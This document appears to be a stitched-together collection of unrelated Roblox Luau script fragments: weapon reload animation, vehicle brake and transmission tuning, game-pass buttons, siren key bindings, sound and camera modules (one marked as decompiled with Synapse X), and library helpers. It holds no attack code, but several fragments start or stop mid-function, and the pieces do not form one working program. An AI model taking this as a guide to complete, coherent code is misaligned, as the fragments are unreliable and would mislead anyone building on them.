function animateReload() tweenJoint(LWeld2, CF(), CF(), Sine, 0.15) tweenJoint(RWeld2, CF(), CF(), Sine, 0.15) local magParts = {} local magTable = {} for _, Obj in pairs(Gun:GetChildren()) do if string.sub(Obj.Name, 1, 3) == "Mag" and Obj:IsA("BasePart") then INSERT(magParts, Obj) end end local animVars = { --FUNCTIONS-- tweenJoint = tweenJoint; makeMagInvisible = function() for _, v in pairs(magParts) do v.Transparency = 1 end magVisible = false end; makeMagVisible = function() for _, v in pairs(magParts) do v.Transparency = v:WaitForChild("magTrans").Value end magVisible = true end; isMagVisible = function() return magVisible end; isMagEmpty = function() return ammoInClip == 0 end; setNewMag = function() newMag = true end; isNewMag = function() return newMag end; createMag = function(Key) local magModel = Instance.new("Model") local magClones = {} for i, v in pairs(magParts) do local vClone = v:Clone() vClone.Transparency = v:WaitForChild("magTrans").Value vClone.CanCollide = false vClone.Parent = magModel INSERT(magClones, {Original = v, magClone = vClone}) if i ~= 1 then local W = Instance.new("Weld") W.Part0 = magClones[1].magClone W.Part1 = vClone W.C0 = magClones[1].magClone.CFrame:toObjectSpace(vClone.CFrame) W.Parent = magClones[1].magClone end end magTable[Key] = {magModel, magClones} return magModel, magClones end; getMag = function(Key) if magTable[Key] then return magTable[Key][1], magTable[Key][2] else return nil, nil end end; attachGripToHead = function() local handleCF = RArm.CFrame * Grip.C0 Grip.C0 = Head.CFrame:toObjectSpace(handleCF) Grip.Part0 = Head end; attachGripToArm = function() local handleCF = Head.CFrame * Grip.C0 Grip.C0 = RArm.CFrame:toObjectSpace(handleCF) Grip.Part0 = RArm end; Sine = Sine; Linear = Linear; --VARIABLES-- Handle = Handle; LArm = LArm; RArm = RArm; LWeld = LWeld; RWeld = RWeld; LC0 = armC0[1]; RC0 = armC0[2]; Grip = Grip; gunIgnore = gunIgnore; Cam = Cam; CF = CF; CFANG = CFANG; V3 = V3; RAD = RAD; reloadTimeLoaded = S.reloadSettings.Times.Loaded; reloadTimeEmpty = S.reloadSettings.Times.Empty } local sequenceTable = Anims.Reload(animVars) --local T = tick() for _, reloadFunction in pairs(sequenceTable) do if breakReload then break end reloadFunction() if (not magVisible) then Ammo.Value = 0 end updateClipAmmo() end --print(tick() - T) --I divide the reloadTime by this number to get the animation speed if (not isCrawling) then if Running and (not S.canFireWhileRunning) then tweenJoint(LWeld, armC0[1], S.runningC1.leftArm, Sine, 0.4) tweenJoint(RWeld, armC0[2], S.runningC1.rightArm, Sine, 0.4) tweenJoint(Grip, nil, S.runningC1.Grip, Sine, 0.4) else tweenJoint(LWeld, armC0[1], S.unAimedC1.leftArm, Sine, 0.4) tweenJoint(RWeld, armC0[2], S.unAimedC1.rightArm, Sine, 0.4) tweenJoint(Grip, nil, S.unAimedC1.Grip, Sine, 0.4) end end for _, v in pairs(magTable) do --In case the reload animations was stopped mid way and there were still fake mags that weren't deleted v[1]:Destroy() end end function Reload() if Ammo.Value < (ClipSize.Value + 1) and (not Reloading) and StoredAmmo.Value > 0 then Firing = false ammoInClip = (ammoInClip == 0 and Ammo.Value or ammoInClip) Reloading = true lowerSpread() if Aimed then unAimGun(S.reloadSettings.Anim) end crossHair.Reload.Visible = true if Handle:FindFirstChild("ReloadSound") then Handle.ReloadSound:Play() end if S.reloadSettings.Anim then wait() animateReload() else local startReload = tick() local initialReloadTime = Ammo.Value == 0 and S.reloadSettings.Times.Empty or S.reloadSettings.Times.Loaded while true do if breakReload then break end if (tick() - startReload) >= initialReloadTime then break end RS.RenderStepped:wait() end end if (not breakReload) then newMag = false if StoredAmmo.Value >= ClipSize.Value then if ammoInClip > 0 then StoredAmmo.Value = StoredAmmo.Value - ((ClipSize.Value + 1) - ammoInClip) Ammo.Value = ClipSize.Value + 1 else StoredAmmo.Value = StoredAmmo.Value - ClipSize.Value Ammo.Value = ClipSize.Value end elseif StoredAmmo.Value < ClipSize.Value and StoredAmmo.Value > 0 then Ammo.Value = StoredAmmo.Value StoredAmmo.Value = 0 end end Reloading = false if Selected then ammoInClip = (breakReload and ammoInClip or 0) crossHair.Reload.Visible = false end breakReload = false end updateClipAmmo() updateStoredAmmo() end
--print(TCount)
if script.Parent.Storage.Control.Value ~= "Controller" then if carSeat.Throttle == -1 then if TCount >= 1 then TCount = 1 else if TCount < 0.25 then TCount = 0.25 else TCount = TCount + 0.04 end end else if TCount <= 0 then TCount = 0 else TCount = TCount - 0.1 end end brake.Value = TCount end if carSeat.Storage.Handbrake.Computer.Value == true or carSeat.Storage.Handbrake.User.Value == true then carSeat.Storage.Handbrake.Value = true else carSeat.Storage.Handbrake.Value = false end if script.Parent.Storage.Brake.Value ~= 0 then FLBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb)*brake.Value, 0, 100, 0) FLBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb)*brake.Value, 0, 100, 0) FRBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb)*brake.Value, 0, 100, 0) FRBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb)*brake.Value, 0, 100, 0) FLDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb)*brake.Value, 0, 100, 0) FRDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb)*brake.Value, 0, 100, 0) else FLBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb), 0, 100, 0) FLBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb), 0, 100, 0) FRBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb), 0, 100, 0) FRBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb), 0, 100, 0) FLDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb), 0, 100, 0) FRDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*fb), 0, 100, 0) end if carSeat.Storage.Handbrake.Value == true then RLBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, 2, 0, 100, 0) RLBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, 2, 0, 100, 0) RRBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, 2, 0, 100, 0) RRBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, 2, 0, 100, 0) RLDISK.CustomPhysicalProperties = PhysicalProperties.new(1, 2, 0, 100, 0) RRDISK.CustomPhysicalProperties = PhysicalProperties.new(1, 2, 0, 100, 0) else if script.Parent.Storage.Brake.Value ~= 0 then RLBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb)*brake.Value, 0, 100, 0) RLBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb)*brake.Value, 0, 100, 0) RRBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb)*brake.Value, 0, 100, 0) RRBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb)*brake.Value, 0, 100, 0) RLDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb)*brake.Value, 0, 100, 0) RRDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb)*brake.Value, 0, 100, 0) else RLBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb), 0, 100, 0) RLBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb), 0, 100, 0) RRBRAKE.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb), 0, 100, 0) RRBRAKEU.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb), 0, 100, 0) RLDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb), 0, 100, 0) RRDISK.CustomPhysicalProperties = PhysicalProperties.new(1, (2*rb), 0, 100, 0) end end if script.Parent.Storage.Brake.Value ~= 0 and carSeat.Storage.ABS.Value == false then FLBRAKE.CanCollide = true FLBRAKEU.CanCollide = true FRBRAKE.CanCollide = true FRBRAKEU.CanCollide = true RLBRAKE.CanCollide = true RLBRAKEU.CanCollide = true RRBRAKE.CanCollide = true RRBRAKEU.CanCollide = true script.FL.Disabled = true script.FR.Disabled = true script.RL.Disabled = true script.RR.Disabled = true else script.FL.Disabled = false script.FR.Disabled = false script.RL.Disabled = false script.RR.Disabled = false if script.Parent.Storage.Brake.Value == 0 and carSeat.Storage.Handbrake.Value == false and script.FL.Toggle == false and script.FR.Toggle == false and script.RL.Toggle == false and script.RR.Toggle == false then FLBRAKE.CanCollide = false FLBRAKEU.CanCollide = false FRBRAKE.CanCollide = false FRBRAKEU.CanCollide = false RLBRAKE.CanCollide = false RLBRAKEU.CanCollide = false RRBRAKE.CanCollide = false RRBRAKEU.CanCollide = false elseif script.Parent.Storage.Brake.Value ~= 0 and speed < 15 then FLBRAKE.CanCollide = true FLBRAKEU.CanCollide = true FRBRAKE.CanCollide = true FRBRAKEU.CanCollide = true RLBRAKE.CanCollide = true RLBRAKEU.CanCollide = true RRBRAKE.CanCollide = true RRBRAKEU.CanCollide = true elseif script.Parent.Storage.Brake.Value == 0 and carSeat.Storage.Handbrake.Value == false then FLBRAKE.CanCollide = false FLBRAKEU.CanCollide = false FRBRAKE.CanCollide = false FRBRAKEU.CanCollide = false RLBRAKE.CanCollide = false RLBRAKEU.CanCollide = false RRBRAKE.CanCollide = false RRBRAKEU.CanCollide = false end end end
--[[Transmission]]
Tune.TransModes = {"Auto","Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "RPM" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 1.6 -- [TRANSMISSION CALCULATIONS FOR NERDS] Tune.Ratios = { -- SPEED [SPS] = (Wheel diameter(studs) * pi(3.14) * RPM) / (60 * Gear Ratio * Final Drive * Multiplier) --[[Reverse]] 3.40 ,-- WHEEL TORQUE = Engine Torque * Gear Ratio * Final Drive * Multiplier --[[Neutral]] 0 , --[[ 1 ]] 3.77 , --[[ 2 ]] 2.34 , --[[ 3 ]] 1.52 , --[[ 4 ]] 1.14 , --[[ 5 ]] 0.86 , --[[ 6 ]] 0.69 , } Tune.FDMult = 5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- NOTE: TEXTBOUNDS.X CANNOT BE MORE THAN TEXTLABEL.ABSOLUTESIZE.X OR YOU WILL GET UNDESIRABLE BEHAVIOR
local root = script.Parent local surfaces = { 'Front', 'Left', 'Back', 'Right' } local speed = 3 -- how many seconds it should take to travel across one surface local size = 2 -- the number of textlabels to move before and after the current one function GetPreceedingLabels(index) local labels = {} for i=1,size do local this = index-i table.insert(labels, root:FindFirstChild(surfaces[this] or surfaces[#surfaces+this], true).Frame.TextLabel ) end return labels end function GetSucceedingLabels(index) local labels = {} for i=1,size do local this = index+i
-- if _TMode == "Auto" and _CGear==-1 then brake = _GBrake end
--Apply ABS local tqABS = 1 if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then tqABS = 0 end if tqABS < 1 then _ABSActive = true end --Update Forces if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS else v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS end v["#AV"].angularvelocity=Vector3.new() end end end end script.Parent.Values.RPM.Changed:connect(function() if car.DriveSeat.Mode.Value == "Eco" then if _RPM > 260 then car.DriveSeat.Tic.Value = true else car.DriveSeat.Tic.Value = false end end end) car.DriveSeat.Tic.Changed:connect(function() if car.DriveSeat.Tic.Value == true and car.DriveSeat.Mode.Value == "Eco" then car.DriveSeat.EcoStart:Play() end end)
----- TOOL DATA ----- -- How much damage a bullet does
local Damage = 18
----------SCRIPTED BY ZEDARKALIEN----------
local button = script.Parent local player = game.Players.LocalPlayer local gamePassId = script.Parent.GamepassId button.MouseButton1Click:connect(function() if player then game:GetService("MarketplaceService"):PromptGamePassPurchase(player, gamePassId.Value) end end)
--// F key, Horn
mouse.KeyUp:connect(function(key) if key=="f" then veh.Lightbar.middle.Airhorn:Stop() veh.Lightbar.middle.Wail.Volume = 1 veh.Lightbar.middle.Yelp.Volume = 1 veh.Lightbar.middle.Priority.Volume = 1 end end)
-- connect events
Humanoid.Died:connect(onDied) Humanoid.Running:connect(onRunning) Humanoid.Jumping:connect(onJumping)
--// # key, ally
mouse.KeyDown:connect(function(key) if key=="." then veh.Lightbar.middle.Beep:Play() veh.Lightbar.Remotes.AllyEvent:FireServer(true) end end)
--!nonstrict -- Roblox character sound script
local Players = game:GetService("Players") local RunService = game:GetService("RunService") local AtomicBinding = require(script:WaitForChild("AtomicBinding")) local function loadFlag(flag: string) local success, result = pcall(function() return UserSettings():IsUserFeatureEnabled(flag) end) return success and result end local SOUND_DATA : { [string]: {[string]: any}} = { Climbing = { SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3", Looped = true, }, Died = { SoundId = "rbxassetid://1237557124", }, FreeFalling = { SoundId = "rbxasset://sounds/action_falling.mp3", Looped = true, }, GettingUp = { SoundId = "rbxasset://sounds/action_get_up.mp3", }, Jumping = { SoundId = "rbxasset://sounds/action_jump.mp3", }, Landing = { SoundId = "rbxasset://sounds/action_jump_land.mp3", }, Running = { SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3", Looped = true, Pitch = 1.85, }, Splash = { SoundId = "rbxasset://sounds/impact_water.mp3", }, Swimming = { SoundId = "rbxasset://sounds/action_swim.mp3", Looped = true, Pitch = 1.6, }, }
-- Service elements
local ValueRemote = ReplicatedStorage:WaitForChild("Value") local Player = Players.LocalPlayer local leaderstats = Player:WaitForChild("leaderstats") local Stage = leaderstats:WaitForChild("Stage") local MaxLevel = Player:WaitForChild("MaxLevel")
--// if a player focuses on a textbox like chat, dont switch players while typing //--
UIS.TextBoxFocused:connect(function() focusedOnText = true end)
-- Handle command invocations from the clients.
Cmdr.RemoteFunction.OnServerInvoke = function (player, text, options) if #text > 1_000 then return "Input too long" end return Cmdr.Dispatcher:EvaluateAndRun(text, player, options) end return Cmdr
--[=[ Sets the top-level value of all clients to the same value. :::note Override Per-Player Data This will override any per-player data that was set using `SetFor` or `SetFilter`. To avoid overriding this data, `SetTop` can be used instead. ::: ```lua -- Examples remoteProperty:Set(10) remoteProperty:Set({SomeData = 32}) remoteProperty:Set("HelloWorld") ``` ]=]
function RemoteProperty:Set(value: any) self._value = value table.clear(self._perPlayer) self._rs:FireAll(value) end
-------------------------
function onClicked() R.BrickColor = BrickColor.new("Really red") C.One.BrickColor = BrickColor.new("Really black") C.Two.BrickColor = BrickColor.new("Really black") C.Three.BrickColor = BrickColor.new("Really black") C.Four.BrickColor = BrickColor.new("Really black") C.MIC.BrickColor = BrickColor.new("Really black") C.B.BrickColor = BrickColor.new("Really black") C.M.BrickColor = BrickColor.new("Really black") end script.Parent.ClickDetector.MouseClick:connect(onClicked)
---S-T-U-F-F--S-O-U-P---
TN = {"Target","Body","Wheels"} TARGET = nil Lplayer = game.Players.LocalPlayer Cam = script.Parent.BodyValue.Value.campart activekey = false db = false pathtoremote = script.Parent.BodyValue.Value.CameraParts workspace.CurrentCamera.CameraType = "Custom" workspace.CurrentCamera.CameraSubject = Cam workspace.CurrentCamera.FieldOfView = 120 game.Players.LocalPlayer.CameraMaxZoomDistance = 1 game.Players.LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson mouse = game.Players.LocalPlayer:GetMouse() mouse.Icon = "http://www.roblox.com/asset/?id=18662154" mouse.TargetFilter = Cam.Parent.Parent prnt = game.Players.LocalPlayer.PlayerGui.TargetScreen runservice = game:GetService("RunService")
--[[ Local Functions ]]
-- local function createArrowLabel(name, parent, position, size, rectOffset, rectSize) local image = Instance.new('ImageLabel') image.Name = name image.Image = DPAD_SHEET image.ImageRectOffset = rectOffset image.ImageRectSize = rectSize image.BackgroundTransparency = 1 image.ImageColor3 = Color3.new(190/255, 190/255, 190/255) image.Size = size image.Position = position image.Parent = parent return image end
--[=[ @within RemoteSignal @interface Connection .Disconnect () -> nil ]=]
function RemoteSignal.new(parent: Instance, name: string, inboundMiddleware: Types.ServerMiddleware?, outboundMiddleware: Types.ServerMiddleware?) local self = setmetatable({}, RemoteSignal) self._re = Instance.new("RemoteEvent") self._re.Name = name self._re.Parent = parent if outboundMiddleware and #outboundMiddleware > 0 then self._hasOutbound = true self._outbound = outboundMiddleware else self._hasOutbound = false end if inboundMiddleware and #inboundMiddleware > 0 then self._directConnect = false self._signal = Signal.new() self._re.OnServerEvent:Connect(function(player, ...) local args = table.pack(...) for _,middlewareFunc in ipairs(inboundMiddleware) do local middlewareResult = table.pack(middlewareFunc(player, args)) if not middlewareResult[1] then return end args.n = #args end self._signal:Fire(player, table.unpack(args, 1, args.n)) end) else self._directConnect = true end return self end
-- Decompiled with the Synapse X Luau decompiler.
local l__Players__1 = game:GetService("Players"); local l__VRService__2 = game:GetService("VRService"); local l__UserGameSettings__3 = UserSettings():GetService("UserGameSettings"); local v4 = require(script.Parent:WaitForChild("CameraInput")); local v5 = require(script.Parent:WaitForChild("CameraUtils")); local v6 = require(script.Parent:WaitForChild("VRBaseCamera")); local v7 = setmetatable({}, v6); v7.__index = v7; local v8, v9 = pcall(function() return UserSettings():IsUserFeatureEnabled("UserFlagEnableVRUpdate3"); end); function v7.new() local v10 = setmetatable(v6.new(), v7); v10.lastUpdate = tick(); v10:Reset(); return v10; end; function v7.Reset(p1) p1.needsReset = true; p1.needsBlackout = true; p1.motionDetTime = 0; p1.blackOutTimer = 0; p1.lastCameraResetPosition = nil; p1.stepRotateTimeout = 0; p1.cameraOffsetRotation = 0; p1.cameraOffsetRotationDiscrete = 0; end; function v7.Update(p2, p3) local l__CurrentCamera__11 = workspace.CurrentCamera; local v12 = l__CurrentCamera__11.CFrame; local v13 = l__CurrentCamera__11.Focus; local l__LocalPlayer__14 = l__Players__1.LocalPlayer; local v15 = p2:GetHumanoid(); local l__CameraSubject__16 = l__CurrentCamera__11.CameraSubject; if p2.lastUpdate == nil or p3 > 1 then p2.lastCameraTransform = nil; end; p2:StepZoom(); p2:UpdateFadeFromBlack(p3); p2:UpdateEdgeBlur(l__LocalPlayer__14, p3); local l__lastSubjectPosition__17 = p2.lastSubjectPosition; local v18 = p2:GetSubjectPosition(); if p2.needsBlackout then p2:StartFadeFromBlack(); p2.blackOutTimer = p2.blackOutTimer + math.clamp(p3, 0.0001, 0.1); if p2.blackOutTimer > 0.1 and game:IsLoaded() then p2.needsBlackout = false; p2.needsReset = true; end; end; if v18 and l__LocalPlayer__14 and l__CurrentCamera__11 then local v19 = nil; v19 = p2:GetVRFocus(v18, p3); if p2:IsInFirstPerson() then local v20, v21 = p2:UpdateFirstPersonTransform(p3, v12, v19, l__lastSubjectPosition__17, v18); v12 = v20; v13 = v21; else local v22, v23 = p2:UpdateThirdPersonTransform(p3, v12, v19, l__lastSubjectPosition__17, v18); v12 = v22; v13 = v23; end; p2.lastCameraTransform = v12; p2.lastCameraFocus = v13; end; p2.lastUpdate = tick(); return v12, v13; end; local u1 = v8 or v9; function v7.UpdateFirstPersonTransform(p4, p5, p6, p7, p8, p9) if p4.needsReset then p4:StartFadeFromBlack(); p4.needsReset = false; p4.stepRotateTimeout = 0.25; p4.VRCameraFocusFrozen = true; p4.cameraOffsetRotation = 0; p4.cameraOffsetRotationDiscrete = 0; end; if (p8 - p9).magnitude > 0.01 then p4:StartVREdgeBlur(l__Players__1.LocalPlayer); end; local l__p__24 = p7.p; local v25 = p4:GetCameraLookVector(); if p4.stepRotateTimeout > 0 then p4.stepRotateTimeout = p4.stepRotateTimeout - p5; end; local v26 = v4.getRotation(); local v27 = 0; if u1 and l__UserGameSettings__3.VRSmoothRotationEnabled then v27 = v26.X; elseif p4.stepRotateTimeout <= 0 and math.abs(v26.X) > 0.03 then v27 = 0.5; if v26.X < 0 then v27 = -0.5; end; p4.needsReset = true; end; p6 = CFrame.new(l__p__24 - 0.5 * p4:CalculateNewLookVectorFromArg(Vector3.new(v25.X, 0, v25.Z).Unit, Vector2.new(v27, 0)), l__p__24); return p6, p7; end; function v7.UpdateThirdPersonTransform(p10, p11, p12, p13, p14, p15) local v28 = p10:GetCameraToSubjectDistance(); if v28 < 0.5 then v28 = 0.5; end; if p14 ~= nil and p10.lastCameraFocus ~= nil then local v29 = require(l__Players__1.LocalPlayer:WaitForChild("PlayerScripts").PlayerModule:WaitForChild("ControlModule")):GetMoveVector(); local v30 = true; if not ((p14 - p15).magnitude > 0.01) then v30 = v29.magnitude > 0.01; end; if v30 then p10.motionDetTime = 0.1; end; p10.motionDetTime = p10.motionDetTime - p11; if p10.motionDetTime > 0 then v30 = true; end; if v30 and not p10.needsReset then p13 = p10.lastCameraFocus; p10.VRCameraFocusFrozen = true; return p12, p13; end; local v31 = true; if p10.lastCameraResetPosition ~= nil then v31 = (p15 - p10.lastCameraResetPosition).Magnitude > 1; end; local v32 = v4.getRotation(); local v33 = u1 and v32 ~= Vector2.new(); local v34 = false; if v33 and v32.X ~= 0 then local v35 = p10.cameraOffsetRotation + v32.X; if v35 < -math.pi then v35 = math.pi - (v35 + math.pi); elseif math.pi < v35 then v35 = -math.pi + (v35 - math.pi); end; p10.cameraOffsetRotation = math.clamp(v35, -math.pi, math.pi); if l__UserGameSettings__3.VRSmoothRotationEnabled then p10.cameraOffsetRotationDiscrete = p10.cameraOffsetRotation; local v36 = p10:GetHumanoid(); local v37 = v36.Torso and v36.Torso.CFrame.lookVector or Vector3.new(1, 0, 0); local v38 = p13.Position - Vector3.new(v37.X, 0, v37.Z) * v28; local v39 = Vector3.new(p13.Position.X, v38.Y, p13.Position.Z); p12 = CFrame.new(v39 - (CFrame.new(v38, v39) * CFrame.fromAxisAngle(Vector3.new(0, 1, 0), p10.cameraOffsetRotationDiscrete)).LookVector * (v39 - v38).Magnitude, v39); else local v40 = math.floor(p10.cameraOffsetRotation * 12 / 12); if v40 ~= p10.cameraOffsetRotationDiscrete then p10.cameraOffsetRotationDiscrete = v40; v34 = true; end; end; end; if not (not p10.VRCameraFocusFrozen) and not (not v31) or not (not p10.needsReset) or v34 then if not v34 then p10.cameraOffsetRotationDiscrete = 0; p10.cameraOffsetRotation = 0; end; l__VRService__2:RecenterUserHeadCFrame(); p10.VRCameraFocusFrozen = false; p10.needsReset = false; p10.lastCameraResetPosition = p15; p10:ResetZoom(); p10:StartFadeFromBlack(); local v41 = p10:GetHumanoid(); local v42 = v41.Torso and v41.Torso.CFrame.lookVector or Vector3.new(1, 0, 0); local v43 = p13.Position - Vector3.new(v42.X, 0, v42.Z) * v28; local v44 = Vector3.new(p13.Position.X, v43.Y, p13.Position.Z); if u1 and p10.cameraOffsetRotation ~= 0 then v43 = v44 - (CFrame.new(v43, v44) * CFrame.fromAxisAngle(Vector3.new(0, 1, 0), p10.cameraOffsetRotationDiscrete)).LookVector * (v44 - v43).Magnitude; end; p12 = CFrame.new(v43, v44); end; end; return p12, p13; end; function v7.EnterFirstPerson(p16) p16.inFirstPerson = true; p16:UpdateMouseBehavior(); end; function v7.LeaveFirstPerson(p17) p17.inFirstPerson = false; p17.needsReset = true; p17:UpdateMouseBehavior(); if p17.VRBlur then p17.VRBlur.Visible = false; end; end; return v7;
-- regeneration
while true do local s = wait(4) local health = Humanoid.Health if health > 0 and health < Humanoid.MaxHealth then health = health + 0.00 * s * Humanoid.MaxHealth if health * 1.05 < Humanoid.MaxHealth then Humanoid.Health = health else Humanoid.Health = Humanoid.MaxHealth end end end
--[[** ensures value is an array of a strict makeup and size @param check The check to compare all values with @returns A function that will return true iff the condition is passed **--]]
function t.strictArray(...) local valueTypes = { ... } assert(t.array(t.callback)(valueTypes)) return function(value) local keySuccess = arrayKeysCheck(value) if keySuccess == false then return false end -- If there's more than the set array size, disallow if #valueTypes < #value then return false end for idx, typeFn in pairs(valueTypes) do local typeSuccess = typeFn(value[idx]) if not typeSuccess then return false end end return true end end end do local callbackArray = t.array(t.callback)
-- So we don't rehit the same target multiple times
local flaggedForHit = {} for _, part in pairs(parts) do local character = PartUtility.GetCharacterFromInstance_R(part) if not character then continue end -- Don't rehit the same character multiple times if flaggedForHit[character] then continue end flaggedForHit[character] = true APICombat.ApplyDamageToCharacter(owningPlayer,character,WeaponDefinition) end Explosion.Parent = workspace local effectPart = Instance.new("Part") effectPart.Position = Explosion.Position effectPart.Anchored = true effectPart.Transparency = 1 effectPart.CanCollide = false effectPart.Parent = workspace
--local Sprinting =false
local L_145_ = L_121_.new(Vector3.new()) L_145_.s = 15 L_145_.d = 0.5 game:GetService("UserInputService").InputChanged:connect(function(L_272_arg1) --Get the mouse delta for the gun sway if L_272_arg1.UserInputType == Enum.UserInputType.MouseMovement then L_140_ = math.min(math.max(L_272_arg1.Delta.x, -L_142_), L_142_) L_141_ = math.min(math.max(L_272_arg1.Delta.y, -L_142_), L_142_) end end) L_4_.Idle:connect(function() --Reset the sway to 0 when the mouse is still L_140_ = 0 L_141_ = 0 end) local L_146_ = false local L_147_ = CFrame.new() local L_148_ = CFrame.new() local L_149_ local L_150_ local L_151_ local L_152_ local L_153_ local L_154_ local L_155_ if not L_24_.TacticalModeEnabled then L_149_ = 0 L_150_ = CFrame.new() L_151_ = 0.1 L_152_ = 2 L_153_ = 0 L_154_ = .2 L_155_ = 17 else L_149_ = 0 L_150_ = CFrame.new() L_151_ = 0.05 L_152_ = 2 L_153_ = 0 L_154_ = 0.09 L_155_ = 11 end local L_156_ = 0 local L_157_ = 5 local L_158_ = .3 local L_159_, L_160_ = 0, 0 local L_161_ = nil local L_162_ = nil local L_163_ = nil L_3_.Humanoid.Running:connect(function(L_273_arg1) if L_273_arg1 > 1 then L_146_ = true else L_146_ = false end end)
--[[* * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. ]]
type unknown = any --[[ ROBLOX FIXME: adding `unknown` type alias to make it easier to use Luau unknown equivalent when supported ]] local CurrentModule = script.Parent local Packages = CurrentModule.Parent local LuauPolyfill = require(Packages.LuauPolyfill) local Boolean = LuauPolyfill.Boolean local Error = LuauPolyfill.Error type Error = LuauPolyfill.Error local exports = {} export type ErrorWithStack = Error & {} local ErrorWithStack = setmetatable({}, { __index = Error }) ErrorWithStack.__index = ErrorWithStack function ErrorWithStack.new( message: string | nil, callsite: (...any) -> () | unknown, stackLimit: number? ): ErrorWithStack -- Ensure we have a large stack length so we get full details. local originalStackLimit = Error["stackTraceLimit"] if stackLimit ~= nil and stackLimit ~= 0 then Error["stackTraceLimit"] = math.max( stackLimit, Boolean.toJSBoolean(originalStackLimit) and originalStackLimit or 10 ) end local self = setmetatable(Error.new(message), ErrorWithStack) if Boolean.toJSBoolean(Error["captureStackTrace"]) then Error["captureStackTrace"](self, callsite) end Error["stackTraceLimit"] = originalStackLimit return (self :: any) :: ErrorWithStack end exports.default = ErrorWithStack return exports
--[[ Calls a callback on `finally` with specific arguments. ]]
function Promise.prototype:finallyCall(callback, ...) local length, values = pack(...) return self:finally(function() return callback(unpack(values, 1, length)) end) end
--[[Transmission]]
Tune.TransModes = {"Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 3.06 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.04 , --[[ 3 ]] 1.38 , --[[ 4 ]] 1.03 , --[[ 5 ]] 0.81 , --[[ 6 ]] 0.64 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--[[ Roblox Services ]]
-- local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local StarterGui = game:GetService("StarterGui") local GuiService = game:GetService("GuiService") local ContextActionService = game:GetService("ContextActionService") local VRService = game:GetService("VRService") local UserGameSettings = UserSettings():GetService("UserGameSettings")
--[[ This file is necessary for constructing the default Icon template Do not remove this module otherwise TopbarPlus will break Modifying this file may also cause TopbarPlus to break It's recommended instead to create a separate theme module and use that instead To apply your theme after creating it, do: ```lua local IconController = require(pathway.to.IconController) local Themes = require(pathway.to.Themes) IconController.setGameTheme(Themes.YourThemeName) ``` or by applying to an individual icon: ```lua local Icon = require(pathway.to.Icon) local Themes = require(pathway.to.Themes) local newIcon = Icon.new() :setTheme(Themes.YourThemeName) ``` --]]
